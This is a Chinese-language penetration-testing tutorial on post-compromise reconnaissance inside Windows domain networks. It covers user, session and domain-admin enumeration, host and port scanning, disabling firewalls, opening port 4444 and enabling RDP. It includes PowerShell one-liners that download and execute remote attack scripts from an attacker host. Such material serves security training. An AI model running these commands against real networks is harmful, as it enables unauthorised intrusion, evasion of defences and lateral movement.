超詳細的內網信息收集篇
0x01 簡介
滲透測試的本質是信息收集,無論是web還是內網,信息收集的全面性都直接著影響到后續滲透工作。在進入內網后,需要判斷當前網絡環境和權限,為后續橫向移動等工作做好鋪墊,本篇文章主要針對windows系統下的信息收集。
0x02 信息收集
●判斷是否存在域環境
判斷當前主機是否處于域環境,有以下幾種方式:
1.查看網卡信息
ipconfig /all

2.查看系統配置信息
systeminfo
主要查看域那一行,如果是WORKGROUP則不存在域環境。


3.查看當前登錄域及登錄用戶信息
net config workstation

不存在域環境為WORKGROUP。

4.時間同步命令
net time /domain
此命令主要存在三種回顯情況,可以根據回顯情況判斷是否存在域環境和判斷當前登錄用戶是否為域用戶。
1)存在域,且當前登錄用戶為域用戶。

2)存在域,但當前登錄用戶為非域用戶。

3)不存在域環境。

●本機信息收集
1.手動信息收集
查詢當前登錄用戶
whoami

查詢網絡配置信息
ipconfig /all

查詢操作系統和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"
此信息可以推測系統可能存在的系統漏洞,針對性收集相應漏洞信息。

查看操作系統體系結構
echo %PROCESSOR_ARCHITECTURE%
該命令主要考慮到軟件兼容性問題,在滲透中可能現需要上傳各種滲透工具,需要上傳對應版本。

查看本機安裝軟件版本信息
wmic product get name,version

查詢服務信息
wmic service list brief

查詢進程信息
tasklist /v wmic process list brief
查詢進程信息可以了解是否存在殺毒軟件、是否存在域管進程等信息。


查詢啟動程序信息
wmic startup get command,caption

查詢計劃任務
schtasks /query /fo LIST /v

查詢主機開機時間
net statistics workstation

查詢本機用戶列表
net user

查詢本機用戶組與管理員組成員列表
net localgroup net localgruop administrators

查詢administrators組用戶

查詢當前在線用戶
query user || qwinsta

列出或斷開本地計算機與所連接的客戶端之間的會話
net session

查詢端口信息
netstat -ano

查詢補丁信息
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn


查詢本機共享列表
net share

查詢路由信息與arp緩存表
route print arp -a


● 防火墻相關命令
查看防火墻狀態
windows server 2003及以下版本: netsh firewall show config window server 2003以上版本: netsh advfirewall show allprofiles state


關閉、開啟防火墻(注:修改防火墻配置需要管理員權限)
Windows server 2003及之前版本: netsh firewall set opmode disable #關閉 netsh firewall set opmode enable #開啟 Windows server 2003之后版本: netsh advfirewall set allprofiles state off #關閉 netsh advfirewall set allprofiles state on #開啟



修改防火墻規則
Windows server 2003及以下版本,允許指定端口、程序連接: netsh firewall add portopening tcp 4444 test #指定端口 netsh firewall add allowedprogram c:\a.exe test enable #指定程序 Windows server 2003之后版本,允許指定端口、程序進站、出站: netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444 #允許4444端口進站 netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe #允許a.exe進站 netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444 #允許4444端口出站 netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe #允許a.exe出站
允許4444端口連接

查看是否添加成功

● 遠程服務相關命令
查詢RDP端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
0xd3d即為3389端口

開啟關閉3389端口(注:需要管理員權限)
Windows server 2003: wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1 #開啟 wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 0 #關閉 通用: REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #開啟 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #關閉
、

查看代理配置信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

2.自動信息收集
使用wmic腳本自動收集進程、服務等信息。
下載地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar


● 域內信息收集
獲取域SID
whoami /all

獲取域用戶信息
net user /domain #獲取域用戶 net user administrator /domain #獲取域用戶administrator詳細信息 wmic useraccount get /all #獲取域用戶



查詢域
net view /domain

查詢域內所有計算機
net view /domain:liudehua

查詢域內用戶組
net group /domain

查詢域用戶組成員列表
net group "Domain Admins" /domain #查詢Domain Admins組成員

查找域控機器名
nltest /dclist:liudehua

查找域控主機名
nslookup -type=SRV _ldap._tcp

查找主域控制器
netdom query pdc

查看域信任信息
nltest /domain_trusts

查看域密碼信息
net accounts /domain

● 定位域管
在一個域中,當計算機加入域后,會默認給域管理員賦予本地系統管理員權限。因此,域管理員均可以訪問本地計算機,且具備完全控制權限。定位域內管理員的兩種渠道:日志和會話。日志是指本地機器的管理員日志,可以使用腳本或Wevtutil工具導出并查看。會話是指域內每臺機器的登陸會話,可以使netsess.exe或PowerView等工具查詢(可以匿名查詢,不需要權限)。
1.psloggedon.exe
下載地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
通過檢查注冊表HKEY_USERS的key值來查詢誰登陸過,需要調用NetSessionEnum API,某些功能需要管理員權限
參數: - 顯示支持的選項和用于輸出值的度量單位 -l 僅顯示本地登錄,而不顯示本地和網絡資源登錄 -x 不顯示登錄時間 \computername 指定要為其列出登錄信息的計算機的名稱 username 指定用戶名,在網絡中搜索該用戶登陸的計算機

指定計算機名稱

2.PVEFindADUser.exe
用于查找活動目錄用戶登錄的位置、枚舉域用戶、以及查找在特定機器上登錄的用戶,包括本地用戶、通過RDP登陸的用戶、用于運行服務和計劃任務的用戶。(注:該工具需要配置.NET Framework 2.0環境,而且需要管理員權限)
參數: -h 顯示幫助信息 -u 檢測程序是否有新版本 -current ["username"] -current參數顯示每臺PC上當前登錄的用戶在域中。如果指定用戶名(在引號之間),則僅將顯示該特定用戶登錄的PC -noping 阻止嘗試枚舉用戶登錄名之前對目標計算機執行ping命令 -target 此可選參數允許您指定要查詢的主機。如果未指定此-target參數,則將查詢當前域中的所有主機。如果決定指定-target,然后指定以逗號分隔的主機名。查詢結果將被輸出到report.csv文件中

3.netview.exe
Netview是枚舉工具,使用WinAPI枚舉系統,利用NetSessionEnum找尋登陸會話,利用NetShareEnum找尋共享,利用NetWkstaUserEnum枚舉登陸用戶。同時,netview.exe能夠查詢共享入口和有價值的用戶。netview.exe的絕大多數功能不需要管理員權限。
下載地址:https://github.com/mubix/netview
參數: -h 顯示幫助菜單 -f filename.txt 指定一個文件從中提取主機列表 -e filename.txt 指定要排除的主機名文件 -o filename.txt 將所有輸出重定向到指定文件 -d domain 指定要提取主機列表的域,如果未指定,則使用當前域 -g group 指定用于用戶搜尋的組名,如果未指定,則使用“域管理員” -c 檢查找到的共享目錄/文件,以進行讀取訪問 -i interval 設置枚舉主機之間等待的秒數 -j jitter 應用于間隔的抖動百分比(0 -1.0)

4.powerview.ps1
powerview是一款powershell腳本,集成在powersploit工具包中。
Invoke-UserHunter:找到域內特定用戶群,接收用戶名、用戶列表和域組查詢,接收一個主機列表或查詢可用的主機域名。它可以使用Get-NetSessions和Get-NetLoggedon(調用NetsessionEnum和NetWkstaUserEnum API)掃描每臺服務器并對掃描結果進行比較,從而找出目標用戶集,使用不需要管理員權限。
下載地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
powershell.exe -exec bypass -command "& {Import-Module c:\users\test\desktop\powerview.ps1;Invoke-UserHunter}"

● 探測域內存活主機
基于NetBIOS探測
該協議是一種在局域網上的程序可以使用的應用程序編程接口(API),為程序提供了請求低級服務的同一的命令集,作用是為了給局域網提供網絡以及其他特殊功能。
nbtscan工具用于掃描本地或遠程TCP/IP網絡上的開放NetBios名稱服務器。
下載地址:https://github.com/lifenjoiner/nbtscan
參數: -V 顯示版本信息 -f 顯示完整的 NBT 資源記錄響應(推薦) -H 生成 HTTP 標頭 -v 打開更詳細的調試 -n 不查找響應的 IP 地址的反名 -p <n> 綁定到 UDP 端口 <n>(默認值=0) -m 在響應中包含 MAC 地址(由“-f”暗示) -T <n> 在 <n> 秒內超時無響應(默認 = 2 秒) -w <n> 每次寫入后等待 <n> 毫秒(默認值 = 10 毫秒) -t <n> 嘗試每個地址 <n> 嘗試(默認 = 1) -1 僅使用 Winsock 1 -P 以 perl hashref 格式生成結果 nbescan.exe 192.168.1.0/24

基于ICMP探測
ping命令: for /L %i in (1,1,254) do @ping -n 1 -w 1 192.168.1.%i | findstr "TTL"

基于ARP探測
Arp-scan工具
arp-scan.exe -t 192.168.1.0/24

基于msf探測
使用msf模塊掃描存活主機,此處使用arp模塊掃描
auxiliary/scanner/discovery/arp_sweep ARP掃描 auxiliary/scanner/discovery/udp_sweep UDP掃描 auxiliary/scanner/netbios/nbname NETBIOS掃描 auxiliary/scanner/snmp/snmp_enum SNMP掃描 auxiliary/scanner/smb/smb_version SMB掃描

● 探測開放端口
基于msf探測
使用msf端口掃描模塊,此處使用tcp端口掃描
auxiliary/scanner/portscan/ack TCP ACK端口掃描 auxiliary/scanner/portscan/ftpbounce FTP bounce端口掃描 auxiliary/scanner/portscan/syn SYN端口掃描 auxiliary/scanner/portscan/tcp TCP端口掃描 auxiliary/scanner/portscan/xmas TCP XMas端口掃描

PowerSploit的Invoke-Portscan.ps1腳本
PowerSploit是基于Powershell的后滲透框架,包含很多PowerShell攻擊腳本,主要用于滲透中的信息偵察,權限提升,權限維持。此處使用端口掃描模塊Invoke-Portscan。
遠程加載腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.128/PowerSploit/Recon/Invoke-PortScan.ps1")
指定ip進行端口掃描:
Invoke-Portscan -Hosts 192.168.1.103,192.168.1.100 -Ports "80,445,3389"

Nishang的Invoke-PortScan腳本
Nishang是基于PowerShell的滲透測試專用工具。它集成了框架、腳本和各種payload,能夠幫助滲透測試人員在對Windows目標的全過程檢測中使用。此處使用的是Nishang的端口掃描模塊Invoke-PortScan。
參數:
StartAddress:掃描范圍開始地址
EndAddress:掃描范圍結束地址
Scanport:進行端口掃描
Port:設置掃描端口
TimeOut:設置超時時間
ResolveHost:解析主機名
遠程加載腳本:
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.128/nishang/Scan/Invoke-PortScan.ps1")
執行端口掃描:
Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -ScanPort -Port 80,445,3389
